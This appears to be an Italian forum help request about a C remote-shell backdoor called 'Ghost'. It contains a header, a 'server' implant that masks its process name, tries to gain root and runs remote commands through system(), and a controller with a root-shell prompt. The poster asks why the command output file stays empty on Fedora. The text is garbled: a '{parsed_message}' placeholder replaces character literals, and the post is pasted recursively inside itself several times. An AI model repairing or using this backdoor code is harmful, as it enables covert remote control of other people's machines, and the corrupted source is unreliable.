back.h
#ifndef MY_SOCK_H
#define MY_SOCK_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 2106
#define STATE_LEN 3
void addr_init(struct sockaddr_in *addr, int port, long ip)
{
addr->sin_family = AF_INET;
addr->sin_port = htons(port);
addr->sin_addr.s_addr = ip;
}
int fileLen(FILE *fp)
{
char buff;
int len=0;
rewind(fp);
while(!feof(fp)){
buff = fgetc(fp);
len++;
}
rewind(fp);
return len;
}
char *readFile(char *file)
{
FILE *fp;
int i;
char *buff;
fp = fopen(file,"r");
buff = (char*) malloc(fileLen(fp)*sizeof(char));
for (i=0; !feof(fp); i++)
buff[i] = fgetc(fp);
buff[i-1]= 'back.h
#ifndef MY_SOCK_H
#define MY_SOCK_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 2106
#define STATE_LEN 3
void addr_init(struct sockaddr_in *addr, int port, long ip)
{
addr->sin_family = AF_INET;
addr->sin_port = htons(port);
addr->sin_addr.s_addr = ip;
}
int fileLen(FILE *fp)
{
char buff;
int len=0;
rewind(fp);
while(!feof(fp)){
buff = fgetc(fp);
len++;
}
rewind(fp);
return len;
}
char *readFile(char *file)
{
FILE *fp;
int i;
char *buff;
fp = fopen(file,"r");
buff = (char*) malloc(fileLen(fp)*sizeof(char));
for (i=0; !feof(fp); i++)
buff[i] = fgetc(fp);
buff[i-1]= '{parsed_message}';
fclose(fp);
return buff;
}
#endif
server.c
/* server.c */
#include "back.h"
int main(int argc, char **argv)
{
int sd, i;
char cmd[1000], new_cmd[1200], size[17], file[100];
FILE *fp;
struct sockaddr_in client,server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
system(new_cmd);
sprintf(size,"%d",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root#: ");
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '{parsed_message}';
write(sd, cmd, sizeof(cmd));
memset(cmd, 0x0, sizeof(cmd));
if((read(sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK ';
fclose(fp);
return buff;
}
#endif
server.c
/* server.c */
#include "back.h"
int main(int argc, char **argv)
{
int sd, i;
char cmd[1000], new_cmd[1200], size[17], file[100];
FILE *fp;
struct sockaddr_in client,server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
system(new_cmd);
sprintf(size,"%d",strlen(readFile(file)));
size[strlen(size)] = 'back.h
#ifndef MY_SOCK_H
#define MY_SOCK_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 2106
#define STATE_LEN 3
void addr_init(struct sockaddr_in *addr, int port, long ip)
{
addr->sin_family = AF_INET;
addr->sin_port = htons(port);
addr->sin_addr.s_addr = ip;
}
int fileLen(FILE *fp)
{
char buff;
int len=0;
rewind(fp);
while(!feof(fp)){
buff = fgetc(fp);
len++;
}
rewind(fp);
return len;
}
char *readFile(char *file)
{
FILE *fp;
int i;
char *buff;
fp = fopen(file,"r");
buff = (char*) malloc(fileLen(fp)*sizeof(char));
for (i=0; !feof(fp); i++)
buff[i] = fgetc(fp);
buff[i-1]= '{parsed_message}';
fclose(fp);
return buff;
}
#endif
server.c
/* server.c */
#include "back.h"
int main(int argc, char **argv)
{
int sd, i;
char cmd[1000], new_cmd[1200], size[17], file[100];
FILE *fp;
struct sockaddr_in client,server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
system(new_cmd);
sprintf(size,"%d",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root#: ");
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '{parsed_message}';
write(sd, cmd, sizeof(cmd));
memset(cmd, 0x0, sizeof(cmd));
if((read(sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK ';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root#: ");
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = 'back.h
#ifndef MY_SOCK_H
#define MY_SOCK_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 2106
#define STATE_LEN 3
void addr_init(struct sockaddr_in *addr, int port, long ip)
{
addr->sin_family = AF_INET;
addr->sin_port = htons(port);
addr->sin_addr.s_addr = ip;
}
int fileLen(FILE *fp)
{
char buff;
int len=0;
rewind(fp);
while(!feof(fp)){
buff = fgetc(fp);
len++;
}
rewind(fp);
return len;
}
char *readFile(char *file)
{
FILE *fp;
int i;
char *buff;
fp = fopen(file,"r");
buff = (char*) malloc(fileLen(fp)*sizeof(char));
for (i=0; !feof(fp); i++)
buff[i] = fgetc(fp);
buff[i-1]= '{parsed_message}';
fclose(fp);
return buff;
}
#endif
server.c
/* server.c */
#include "back.h"
int main(int argc, char **argv)
{
int sd, i;
char cmd[1000], new_cmd[1200], size[17], file[100];
FILE *fp;
struct sockaddr_in client,server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
system(new_cmd);
sprintf(size,"%d",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root#: ");
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '{parsed_message}';
write(sd, cmd, sizeof(cmd));
memset(cmd, 0x0, sizeof(cmd));
if((read(sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK ';
write(sd, cmd, sizeof(cmd));
memset(cmd, 0x0, sizeof(cmd));
if((read(sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK